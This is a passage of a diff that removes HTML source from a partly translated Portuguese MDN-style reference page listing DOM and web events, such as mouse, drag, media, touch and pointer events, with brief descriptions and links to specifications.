- <tr>
- <td>{{event("mousemove")}}</td>
- <td>A pointing device is moved over an element. (Fired continously as the mouse moves.)</td>
- </tr>
- <tr>
- <td>{{event("mousedown")}}</td>
- <td>A pointing device button is pressed on an element.</td>
- </tr>
- <tr>
- <td>{{event("mouseup")}}</td>
- <td>A pointing device button is released over an element.</td>
- </tr>
- <tr>
- <td>{{event("auxclick")}}</td>
- <td>A pointing device button (ANY non-primary button) has been pressed and released on an element.</td>
- </tr>
- <tr>
- <td>{{event("click")}}</td>
- <td>A pointing device button (ANY button; soon to be primary button only) has been pressed and released on an element.</td>
- </tr>
- <tr>
- <td>{{event("dblclick")}}</td>
- <td>A pointing device button is clicked twice on an element.</td>
- </tr>
- <tr>
- <td>{{event("contextmenu")}}</td>
- <td>The right button of the mouse is clicked (before the context menu is displayed).</td>
- </tr>
- <tr>
- <td>{{event("wheel")}}</td>
- <td>A wheel button of a pointing device is rotated in any direction.</td>
- </tr>
- <tr>
- <td>{{event("mouseleave")}}</td>
- <td>A pointing device is moved off the element that has the listener attached.</td>
- </tr>
- <tr>
- <td>{{event("mouseout")}}</td>
- <td>A pointing device is moved off the element that has the listener attached or off one of its children.</td>
- </tr>
- <tr>
- <td>{{event("select")}}</td>
- <td>Some text is being selected.</td>
- </tr>
- <tr>
- <td>{{event("pointerlockchange")}}</td>
- <td>The pointer was locked or released.</td>
- </tr>
- <tr>
- <td>{{event("pointerlockerror")}}</td>
- <td>It was impossible to lock the pointer for technical reasons or because the permission was denied.</td>
- </tr>
- </tbody>
-</table>
-
-<table class="standard-table" style="height: 276px; width: 856px;">
- <caption>Eventos de 'Arrastar e Largar'</caption>
- <thead>
- <tr>
- <th scope="col">Nome do Evento</th>
- <th scope="col">Executado quando</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{event("dragstart")}}</td>
- <td>The user starts dragging an element or text selection.</td>
- </tr>
- <tr>
- <td>{{event("drag")}}</td>
- <td>An element or text selection is being dragged (Fired continuously every 350ms).</td>
- </tr>
- <tr>
- <td>{{event("dragend")}}</td>
- <td>A drag operation is being ended (by releasing a mouse button or hitting the escape key).</td>
- </tr>
- <tr>
- <td>{{event("dragenter")}}</td>
- <td>A dragged element or text selection enters a valid drop target.</td>
- </tr>
- <tr>
- <td>{{event("dragover")}}</td>
- <td>An element or text selection is being dragged over a valid drop target. (Fired continuously every 350ms.)</td>
- </tr>
- <tr>
- <td>{{event("dragleave")}}</td>
- <td>A dragged element or text selection leaves a valid drop target.</td>
- </tr>
- <tr>
- <td>{{event("drop")}}</td>
- <td>An element is dropped on a valid drop target.</td>
- </tr>
- </tbody>
-</table>
-
-<table class="standard-table">
- <caption>Eventos de Média</caption>
- <thead>
- <tr>
- <th scope="col">Nome do Evento</th>
- <th scope="col">Executado quando</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{event("durationchange")}}</td>
- <td>The <code>duration</code> attribute has been updated.</td>
- </tr>
- <tr>
- <td>{{event("loadedmetadata")}}</td>
- <td>The metadata has been loaded.</td>
- </tr>
- <tr>
- <td>{{event("loadeddata")}}</td>
- <td>The first frame of the media has finished loading.</td>
- </tr>
- <tr>
- <td>{{event("canplay")}}</td>
- <td>The browser can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of content.</td>
- </tr>
- <tr>
- <td>{{event("canplaythrough")}}</td>
- <td>The browser estimates it can play the media up to its end without stopping for content buffering.</td>
- </tr>
- <tr>
- <td>{{event("ended")}}</td>
- <td>Playback has stopped because the end of the media was reached.</td>
- </tr>
- <tr>
- <td>{{event("emptied")}}</td>
- <td>The media has become empty; for example, this event is sent if the media has already been loaded (or partially loaded), and the <a href="/en-US/docs/XPCOM_Interface_Reference/NsIDOMHTMLMediaElement" rel="internal"><code>load()</code></a> method is called to reload it.</td>
- </tr>
- <tr>
- <td>{{event("stalled")}}</td>
- <td>The user agent is trying to fetch media data, but data is unexpectedly not forthcoming.</td>
- </tr>
- <tr>
- <td>{{event("suspend")}}</td>
- <td>Media data loading has been suspended.</td>
- </tr>
- <tr>
- <td>{{event("play")}}</td>
- <td>Playback has begun.</td>
- </tr>
- <tr>
- <td>{{event("playing")}}</td>
- <td>Playback is ready to start after having been paused or delayed due to lack of data.</td>
- </tr>
- <tr>
- <td>{{event("pause")}}</td>
- <td>Playback has been paused.</td>
- </tr>
- <tr>
- <td>{{event("waiting")}}</td>
- <td>Playback has stopped because of a temporary lack of data.</td>
- </tr>
- <tr>
- <td>{{event("seeking")}}</td>
- <td>A <em>seek</em> operation began.</td>
- </tr>
- <tr>
- <td>{{event("seeked")}}</td>
- <td>A <em>seek</em> operation completed.</td>
- </tr>
- <tr>
- <td>{{event("ratechange")}}</td>
- <td>The playback rate has changed.</td>
- </tr>
- <tr>
- <td>{{event("timeupdate")}}</td>
- <td>The time indicated by the <code>currentTime</code> attribute has been updated.</td>
- </tr>
- <tr>
- <td>{{event("volumechange")}}</td>
- <td>The volume has changed.</td>
- </tr>
- <tr>
- <td>{{event("complete")}}</td>
- <td>The rendering of an {{domxref("OfflineAudioContext")}} is terminated.</td>
- </tr>
- <tr>
- <td>{{event("audioprocess")}}</td>
- <td>The input buffer of a {{domxref("ScriptProcessorNode")}} is ready to be processed.</td>
- </tr>
- </tbody>
-</table>
-
-<table class="standard-table">
- <caption>Eventos de Progresso</caption>
- <thead>
- <tr>
- <th scope="col">Nome do Evento</th>
- <th scope="col">Executado quando</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{event("loadstart")}}</td>
- <td>Progresso começou.</td>
- </tr>
- <tr>
- <td>{{event("progress")}}</td>
- <td>Em progresso.</td>
- </tr>
- <tr>
- <td>{{event("error")}}</td>
- <td>Progresso falhou.</td>
- </tr>
- <tr>
- <td>{{event("timeout")}}</td>
- <td>Progression is terminated due to preset time expiring.</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/Web/Reference/Events/abort_(ProgressEvent)">abort</a></code></td>
- <td>Progression has been terminated (not due to an error).</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/Web/Reference/Events/load_(ProgressEvent)">load</a></code></td>
- <td>Progression has been successful.</td>
- </tr>
- <tr>
- <td>{{event("loadend")}}</td>
- <td>Progress has stopped (after "error", "abort" or "load" have been dispatched).</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Eventos_de_armazenamento">Eventos de armazenamento</h3>
-
-<p>{{event("change")}} (see {{anch("Non-standard events")}})<br>
- {{event("storage")}}</p>
-
-<h3 id="Eventos_de_atualização">Eventos de atualização</h3>
-
-<p>{{event("checking")}}<br>
- {{event("downloading")}}<br>
- {{event("error")}}<br>
- {{event("noupdate")}}<br>
- {{event("obsolete")}}<br>
- {{event("updateready")}}</p>
-
-<h3 id="Eventos_de_alteração_de_valor">Eventos de alteração de valor</h3>
-
-<p>{{event("broadcast")}}<br>
- {{event("CheckboxStateChange")}}<br>
- {{event("hashchange")}}<br>
- {{event("input")}}<br>
- {{event("RadioStateChange")}}<br>
- {{event("readystatechange")}}<br>
- {{event("ValueChange")}}</p>
-
-<h3 id="Eventos_não_categorizados">Eventos não categorizados</h3>
-
-<p>{{event("invalid")}}<br>
- {{event("localized")}}<br>
- <code><a href="/en-US/docs/Web/Reference/Events/message_webworker">message</a></code><br>
- <code><a href="/en-US/docs/Web/Reference/Events/message_webmessaging">message</a></code><br>
- <code><a href="/en-US/docs/Web/Reference/Events/message_serversentevents">message</a></code><br>
- <code><a href="/en-US/docs/Web/Reference/Events/open_serversentevents">open</a></code><br>
- {{event("show")}}</p>
-
-<h2 id="Eventos_menos_comuns_e_não_padrão">Eventos menos comuns e não padrão</h2>
-
-<h3 id="Eventos_de_Abortable_Fetch">Eventos de <em>Abortable Fetch</em></h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Nome do Evento</th>
- <th scope="col">Executado quando</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{event("abort_(dom_abort_api)", "abort")}}</td>
- <td>A DOM request is aborted, i.e. using {{domxref("AbortController.abort()")}}.</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Eventos_de_WebVR">Eventos de WebVR</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Nome do Evento</th>
- <th scope="col">Executado quando</th>
- </tr>
- <tr>
- <td>{{event("vrdisplayconnect")}}</td>
- <td>when a compatible {{domxref("VRDisplay")}} is connected to the computer.</td>
- </tr>
- <tr>
- <td>{{event("vrdisplaydisconnect")}}</td>
- <td>When a compatible {{domxref("VRDisplay")}} is disconnected from the computer.</td>
- </tr>
- <tr>
- <td>{{event("vrdisplayactivate")}}</td>
- <td>When a VR display is able to be presented to, for example if an HMD has been moved to bring it out of standby, or woken up by being put on.</td>
- </tr>
- <tr>
- <td>{{event("vrdisplaydeactivate")}}</td>
- <td>When a {{domxref("VRDisplay")}} can no longer be presented to, for example if an HMD has gone into standby or sleep mode due to a period of inactivity.</td>
- </tr>
- <tr>
- <td>{{event("vrdisplayblur")}}</td>
- <td>when presentation to a {{domxref("VRDisplay")}} has been paused for some reason by the browser, OS, or VR hardware — for example, while the user is interacting with a system menu or browser, to prevent tracking or loss of experience.</td>
- </tr>
- <tr>
- <td>{{event("vrdisplayfocus")}}</td>
- <td>When presentation to a {{domxref("VRDisplay")}} has resumed after being blurred.</td>
- </tr>
- <tr>
- <td>{{event("vrdisplaypresentchange")}}</td>
- <td>The presenting state of a {{domxref("VRDisplay")}} changes — i.e. goes from presenting to not presenting, or vice versa.</td>
- </tr>
- </thead>
-</table>
-
-<h3 id="Eventos_de_SVG">Eventos de SVG</h3>
-
-<p>{{event("SVGAbort")}}<br>
- {{event("SVGError")}}<br>
- {{event("SVGLoad")}}<br>
- {{event("SVGResize")}}<br>
- {{event("SVGScroll")}}<br>
- {{event("SVGUnload")}}<br>
- {{event("SVGZoom")}}</p>
-
-<h3 id="Eventos_de_base_de_dados">Eventos de base de dados</h3>
-
-<p><code><a href="/en-US/docs/Web/Reference/Events/abort_indexedDB">abort</a></code><br>
- <code><a href="/en-US/docs/Web/Reference/Events/blocked_indexedDB">blocked</a></code><br>
- <code><a href="/en-US/docs/Web/Reference/Events/complete_indexedDB">complete</a></code><br>
- {{event("error")}} (<a href="/en-US/docs/Web/Reference/Events/error">link</a>)<br>
- <code><a href="/en-US/docs/Web/Reference/Events/success_indexedDB">success</a></code><br>
- <code><a href="/en-US/docs/Web/Reference/Events/upgradeneeded_indexedDB">upgradeneeded</a></code><br>
- <code><a href="/en-US/docs/Web/Reference/Events/versionchange_indexedDB">versionchange</a></code></p>
-
-<h3 id="Eventos_de_notificação">Eventos de notificação</h3>
-
-<p><a href="/en-US/docs/Web/Reference/Events/AlertActive">AlertActive</a><br>
- <a href="/en-US/docs/Web/Reference/Events/AlertClose">AlertClose</a></p>
-
-<h3 id="Eventos_de_CSS">Eventos de CSS</h3>
-
-<p><a href="/en-US/docs/Web/Reference/Events/CssRuleViewRefreshed">CssRuleViewRefreshed</a><br>
- <a href="/en-US/docs/Web/Reference/Events/CssRuleViewChanged">CssRuleViewChanged</a><br>
- <a href="/en-US/docs/Web/Reference/Events/CssRuleViewCSSLinkClicked">CssRuleViewCSSLinkClicked</a><br>
- {{event("transitionend")}}</p>
-
-<h3 id="eventos_de_script">eventos de <em>script</em></h3>
-
-<p>{{event("afterscriptexecute")}}<br>
- {{event("beforescriptexecute")}}</p>
-
-<h3 id="eventos_de_menu">eventos de menu</h3>
-
-<p>{{event("DOMMenuItemActive")}}<br>
- {{event("DOMMenuItemInactive")}}</p>
-
-<h3 id="Eventos_de_janela">Eventos de janela</h3>
-
-<p><a href="/en-US/docs/Web/Reference/Events/DOMWindowCreated">DOMWindowCreated</a><br>
- <a href="/en-US/docs/Web/Reference/Events/DOMTitleChanged">DOMTitleChanged</a><br>
- <a href="/en-US/docs/Web/Reference/Events/DOMWindowClose">DOMWindowClose</a><br>
- <a href="/en-US/docs/Web/Reference/Events/SSWindowClosing">SSWindowClosing</a><br>
- <a href="/en-US/docs/Web/Reference/Events/SSWindowStateReady">SSWindowStateReady</a><br>
- <a href="/en-US/docs/Web/Reference/Events/SSWindowStateBusy">SSWindowStateBusy</a><br>
- <a href="/en-US/docs/Web/Reference/Events/close_event">close</a></p>
-
-<h3 id="Eventos_de_documento">Eventos de documento</h3>
-
-<p><a href="/en-US/docs/Web/Reference/Events/DOMLinkAdded">DOMLinkAdded</a><br>
- <a href="/en-US/docs/Web/Reference/Events/DOMLinkRemoved">DOMLinkRemoved</a><br>
- <a href="/en-US/docs/Web/Reference/Events/DOMMetaAdded">DOMMetaAdded</a><br>
- <a href="/en-US/docs/Web/Reference/Events/DOMMetaRemoved">DOMMetaRemoved</a><br>
- <a href="/en-US/docs/Web/Reference/Events/DOMWillOpenModalDialog">DOMWillOpenModalDialog</a><br>
- <a href="/en-US/docs/Web/Reference/Events/DOMModalDialogClosed">DOMModalDialogClosed</a></p>
-
-<h3 id="Eventos_de_janela_(Popup)">Eventos de janela (<em>Popup</em>)</h3>
-
-<p>{{event("popuphidden")}}<br>
- {{event("popuphiding")}}<br>
- {{event("popupshowing")}}<br>
- {{event("popupshown")}}<br>
- <a href="/en-US/docs/Web/Reference/Events/DOMPopupBlocked">DOMPopupBlocked</a></p>
-
-<h3 id="Eventos_de_separador">Eventos de separador</h3>
-
-<p><a href="/en-US/docs/Web/Reference/Events/TabOpen">TabOpen</a><br>
- <a href="/en-US/docs/Web/Reference/Events/TabClose">TabClose</a><br>
- <a href="/en-US/docs/Web/Reference/Events/TabSelect">TabSelect</a><br>
- <a href="/en-US/docs/Web/Reference/Events/TabShow">TabShow</a><br>
- <a href="/en-US/docs/Web/Reference/Events/TabHide">TabHide</a><br>
- <a href="/en-US/docs/Web/Reference/Events/TabPinned">TabPinned</a><br>
- <a href="/en-US/docs/Web/Reference/Events/TabUnpinned">TabUnpinned</a><br>
- <a href="/en-US/docs/Web/Reference/Events/SSTabClosing">SSTabClosing</a><br>
- <a href="/en-US/docs/Web/Reference/Events/SSTabRestoring">SSTabRestoring</a><br>
- <a href="/en-US/docs/Web/Reference/Events/SSTabRestored">SSTabRestored</a><br>
- {{event("visibilitychange")}}</p>
-
-<h3 id="Eventos_de_bateria">Eventos de bateria</h3>
-
-<p>{{event("chargingchange")}}<br>
- {{event("chargingtimechange")}}<br>
- {{event("dischargingtimechange")}}<br>
- {{event("levelchange")}}</p>
-
-<h3 id="Eventos_de_chamada">Eventos de chamada</h3>
-
-<p>{{event("alerting")}}<br>
- {{event("busy")}}<br>
- {{event("callschanged")}}<br>
- {{event("cfstatechange")}}<br>
- {{event("connected")}}<br>
- {{event("connecting")}}<br>
- {{event("dialing")}}<br>
- {{event("disconnected")}}<br>
- {{event("disconnecting")}}<br>
- {{event("error_(Telephony)","error")}}<br>
- {{event("held")}}, {{event("holding")}}<br>
- {{event("incoming")}}<br>
- {{event("resuming")}}<br>
- {{event("statechange")}}<br>
- {{event("voicechange")}}</p>
-
-<h3 id="Eventos_de_sensor">Eventos de sensor</h3>
-
-<p>{{event("compassneedscalibration")}}<br>
- {{event("devicelight")}}<br>
- {{event("devicemotion")}}<br>
- {{event("deviceorientation")}}<br>
- {{event("deviceproximity")}}<br>
- {{event("MozOrientation")}}<br>
- {{event("orientationchange")}}<br>
- {{event("userproximity")}}</p>
-
-<h3 id="Eventos_de_Smartcard">Eventos de <em>Smartcard</em></h3>
-
-<p>{{event("icccardlockerror")}}<br>
- {{event("iccinfochange")}}<br>
- {{event("smartcard-insert")}}<br>
- {{event("smartcard-remove")}}<br>
- {{event("stkcommand")}}<br>
- {{event("stksessionend")}}<br>
- {{event("cardstatechange")}}</p>
-
-<h3 id="Eventos_de_SMS_e_USSD">Eventos de SMS e USSD</h3>
-
-<p>{{event("delivered")}}<br>
- {{event("received")}}<br>
- {{event("sent")}}<br>
- {{event("ussdreceived")}}</p>
-
-<h3 id="Eventos_de_frame">Eventos de <em>frame</em></h3>
-
-<p>{{event("mozbrowserclose")}}<br>
- {{event("mozbrowsercontextmenu")}}<br>
- {{event("mozbrowsererror")}}<br>
- {{event("mozbrowsericonchange")}}<br>
- {{event("mozbrowserlocationchange")}}<br>
- {{event("mozbrowserloadend")}}<br>
- {{event("mozbrowserloadstart")}}<br>
- {{event("mozbrowseropenwindow")}}<br>
- {{event("mozbrowsersecuritychange")}}<br>
- {{event("mozbrowsershowmodalprompt")}} (<a href="/en-US/docs/Web/Reference/Events/mozbrowsershowmodalprompt">link</a>)<br>
- {{event("mozbrowsertitlechange")}}<br>
- <a href="/en-US/docs/Web/Reference/Events/DOMFrameContentLoaded">DOMFrameContentLoaded</a></p>
-
-<h3 id="Eventos_de_mutação_de_DOM">Eventos de mutação de DOM</h3>
-
-<p><code><a href="/en-US/docs/DOM/Mutation_events">DOMAttributeNameChanged</a></code><br>
- <code><a href="/en-US/docs/DOM/Mutation_events">DOMAttrModified</a></code><br>
- <code><a href="/en-US/docs/DOM/Mutation_events">DOMCharacterDataModified</a></code><br>
- {{event("DOMContentLoaded")}}<br>
- <code><a href="/en-US/docs/DOM/Mutation_events">DOMElementNameChanged</a></code><br>
- <code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeInserted</a></code><br>
- <code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeInsertedIntoDocument</a></code><br>
- <code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeRemoved</a></code><br>
- <code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeRemovedFromDocument</a></code><br>
- <code><a href="/en-US/docs/DOM/Mutation_events">DOMSubtreeModified</a></code></p>
-
-<h3 id="Eventos_de_toque">Eventos de toque</h3>
-
-<p><a href="/en-US/docs/Web/Reference/Events/MozEdgeUIGesture">MozEdgeUIGesture</a><br>
- <a href="/en-US/docs/Web/Reference/Events/MozMagnifyGesture">MozMagnifyGesture</a><br>
- <a href="/en-US/docs/Web/Reference/Events/MozMagnifyGestureStart">MozMagnifyGestureStart</a><br>
- <a href="/en-US/docs/Web/Reference/Events/MozMagnifyGestureUpdate">MozMagnifyGestureUpdate</a><br>
- <a href="/en-US/docs/Web/Reference/Events/MozPressTapGesture">MozPressTapGesture</a><br>
- <a href="/en-US/docs/Web/Reference/Events/MozRotateGesture">MozRotateGesture</a><br>
- <a href="/en-US/docs/Web/Reference/Events/MozRotateGestureStart">MozRotateGestureStart</a><br>
- <a href="/en-US/docs/Web/Reference/Events/MozRotateGestureUpdate">MozRotateGestureUpdate</a><br>
- <a href="/en-US/docs/Web/Reference/Events/MozSwipeGesture">MozSwipeGesture</a><br>
- <a href="/en-US/docs/Web/Reference/Events/MozTapGesture">MozTapGesture</a><br>
- <a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchDown</a><br>
- <a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchMove</a><br>
- <a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchUp</a><br>
- {{event("touchcancel")}}<br>
- {{event("touchend")}}<br>
- {{event("touchenter")}}<br>
- {{event("touchleave")}}<br>
- {{event("touchmove")}}<br>
- {{event("touchstart")}}</p>
-
-<h3 id="Eventos_de_pointer">Eventos de <em>pointer</em></h3>
-
-<p>{{event("pointerover")}}<br>
- {{event("pointerenter")}}<br>
- {{event("pointerdown")}}<br>
- {{event("pointermove")}}<br>
- {{event("pointerup")}}<br>
- {{event("pointercancel")}}<br>
- {{event("pointerout")}}<br>
- {{event("pointerleave")}}<br>
- {{event("gotpointercapture")}}<br>
- {{event("lostpointercapture")}}</p>
-
-<h2 id="Eventos_padrão">Eventos padrão</h2>
-
-<p>These events are defined in official Web specifications, and should be common across browsers. Each event is listed along with the interface representing the object sent to recipients of the event (so you can find information about what data is provided with each event) as well as a link to the specification or specifications that define the event.</p>
-
-<table class="standard-table" style="height: 9388px; width: 1781px;">
- <thead>
- <tr>
- <th class="header" style="width: 220px;">Nome do Evento</th>
- <th class="header" style="width: 90px;">Tipo de Evento</th>
- <th class="header" style="width: 100px;">Especificação</th>
- <th class="header">Executado quando...</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{event("abort")}}</td>
- <td>{{domxref("UIEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-abort">DOM L3</a></td>
- <td>The loading of a resource has been aborted.</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/Web/Reference/Events/abort_(ProgressEvent)">abort</a></code></td>
- <td>{{domxref("ProgressEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/progress-events/">Progress</a> and <a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-abort">XMLHttpRequest</a></td>
- <td>Progression has been terminated (not due to an error).</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/Web/Reference/Events/abort_indexedDB">abort</a></code></td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#database-interface">IndexedDB</a></td>
- <td>A transaction has been aborted.</td>
- </tr>
- <tr>
- <td>{{event("afterprint")}}{{gecko_minversion_inline("6")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/html5/webappapis.html#printing">HTML5</a></td>
- <td>The associated document has started printing or the print preview has been closed.</td>
- </tr>
- <tr>
- <td>{{event("animationend")}}</td>
- <td>{{domxref("AnimationEvent")}} {{experimental_inline}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/css3-animations/#animation-events">CSS Animations</a></td>
- <td>A <a href="/en-US/docs/CSS/CSS_animations">CSS animation</a> has completed.</td>
- </tr>
- <tr>
- <td>{{event("animationiteration")}}</td>
- <td>{{domxref("AnimationEvent")}} {{experimental_inline}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/css3-animations/#animation-events">CSS Animations</a></td>
- <td>A <a href="/en-US/docs/CSS/CSS_animations">CSS animation</a> is repeated.</td>
- </tr>
- <tr>
- <td>{{event("animationstart")}}</td>
- <td>{{domxref("AnimationEvent")}} {{experimental_inline}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/css3-animations/#animation-events">CSS Animations</a></td>
- <td>A <a href="/en-US/docs/CSS/CSS_animations">CSS animation</a> has started.</td>
- </tr>
- <tr>
- <td>{{event("appinstalled")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="/en-US/docs/Web/Manifest">Web App Manifest</a></td>
- <td>A web application is successfully installed as a <a href="https://developer.mozilla.org/en-US/Apps/Progressive">progressive web app</a>.</td>
- </tr>
- <tr>
- <td>{{event("audioprocess")}}</td>
- <td>{{domxref("AudioProcessingEvent")}} {{deprecated_inline}}</td>
- <td style="white-space: nowrap;">{{SpecName('Web Audio API', '#AudioProcessingEvent', 'audioprocess')}}</td>
- <td>The input buffer of a {{domxref("ScriptProcessorNode")}} is ready to be processed.</td>
- </tr>
- <tr>
- <td>{{event("audioend")}} {{experimental_inline}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
- <td>The user agent has finished capturing audio for speech recognition.</td>
- </tr>
- <tr>
- <td>{{event("audiostart")}} {{experimental_inline}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
- <td>The user agent has started to capture audio for speech recognition.</td>
- </tr>
- <tr>
- <td>{{event("beforeprint")}} {{gecko_minversion_inline("6")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/html5/webappapis.html#printing">HTML5</a></td>
- <td>The associated document is about to be printed or previewed for printing.</td>
- </tr>
- <tr>
- <td>{{event("beforeunload")}}</td>
- <td>{{domxref("BeforeUnloadEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/html5/browsers.html#unloading-documents">HTML5 </a></td>
- <td>The window, the document and its resources are about to be unloaded.</td>
- </tr>
- <tr>
- <td>{{event("beginEvent")}}</td>
- <td>{{domxref("TimeEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
- <td>A <a href="/en-US/docs/SVG/SVG_animation_with_SMIL">SMIL</a> animation element begins.</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/Web/Reference/Events/blocked_indexedDB">blocked</a></code></td>
- <td> </td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></td>
- <td>An open connection to a database is blocking a <code>versionchange</code> transaction on the same database.</td>
- </tr>
- <tr>
- <td>{{event("blur")}}</td>
- <td>{{domxref("FocusEvent")}} {{experimental_inline}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-blur">DOM L3</a></td>
- <td>An element has lost focus (does not bubble).</td>
- </tr>
- <tr>
- <td>{{event("boundary")}} {{experimental_inline}}</td>
- <td>{{domxref("SpeechSynthesisEvent")}}</td>
- <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
- <td>The spoken utterance reaches a word or sentence boundary</td>
- </tr>
- <tr>
- <td>{{event("cached")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
- <td>The resources listed in the manifest have been downloaded, and the application is now cached.</td>
- </tr>
- <tr>
- <td>{{event("canplay")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-canplay">HTML5 media</a></td>
- <td>The user agent can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of content.</td>
- </tr>
- <tr>
- <td>{{event("canplaythrough")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-canplaythrough">HTML5 media</a></td>
- <td>The user agent can play the media up to its end without having to stop for further buffering of content.</td>
- </tr>
- <tr>
- <td>{{event("change")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html">DOM L2</a>, <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/common-input-element-attributes.html#event-input-change">HTML5</a></td>
- <td>The <code>change</code> event is fired for {{HTMLElement("input")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}} elements when a change to the element's value is committed by the user.</td>
- </tr>
- <tr>
- <td>{{event("chargingchange")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/battery/Overview.html">Battery status</a></td>
- <td>The battery begins or stops charging.</td>
- </tr>
- <tr>
- <td>{{event("chargingtimechange")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/battery/Overview.html">Battery status</a></td>
- <td>The <code>chargingTime</code> attribute has been updated.</td>
- </tr>
- <tr>
- <td>{{event("checking")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
- <td>The user agent is checking for an update, or attempting to download the cache manifest for the first time.</td>
- </tr>
- <tr>
- <td>{{event("click")}}</td>
- <td>{{domxref("MouseEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-click">DOM L3</a></td>
- <td>A pointing device button has been pressed and released on an element.</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/Web/Reference/Events/close_websocket">close</a></code></td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/websockets/">WebSocket</a></td>
- <td>A WebSocket connection has been closed.</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/Web/Reference/Events/complete_indexedDB">complete</a></code></td>
- <td> </td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#transaction">IndexedDB</a></td>
- <td>A transaction successfully completed.</td>
- </tr>
- <tr>
- <td>{{event("complete")}}</td>
- <td>{{domxref("OfflineAudioCompletionEvent")}} {{deprecated_inline}}</td>
- <td style="white-space: nowrap;">{{SpecName('Web Audio API', '#OfflineAudioCompletionEvent-section', 'OfflineAudioCompletionEvent')}}</td>
- <td>The rendering of an {{domxref("OfflineAudioContext")}} is terminated.</td>
- </tr>
- <tr>
- <td>{{event("compositionend")}}{{gecko_minversion_inline("9")}}</td>
- <td>{{domxref("CompositionEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-compositionend">DOM L3</a></td>
- <td>The composition of a passage of text has been completed or canceled.</td>
- </tr>
- <tr>
- <td>{{event("compositionstart")}}{{gecko_minversion_inline("9")}}</td>
- <td>{{domxref("CompositionEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-compositionstart">DOM L3</a></td>
- <td>The composition of a passage of text is prepared (similar to keydown for a keyboard input, but works with other inputs such as speech recognition).</td>
- </tr>
- <tr>
- <td>{{event("compositionupdate")}}{{gecko_minversion_inline("9")}}</td>
- <td>{{domxref("CompositionEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-compositionupdate">DOM L3</a></td>
- <td>A character is added to a passage of text being composed.</td>
- </tr>
- <tr>
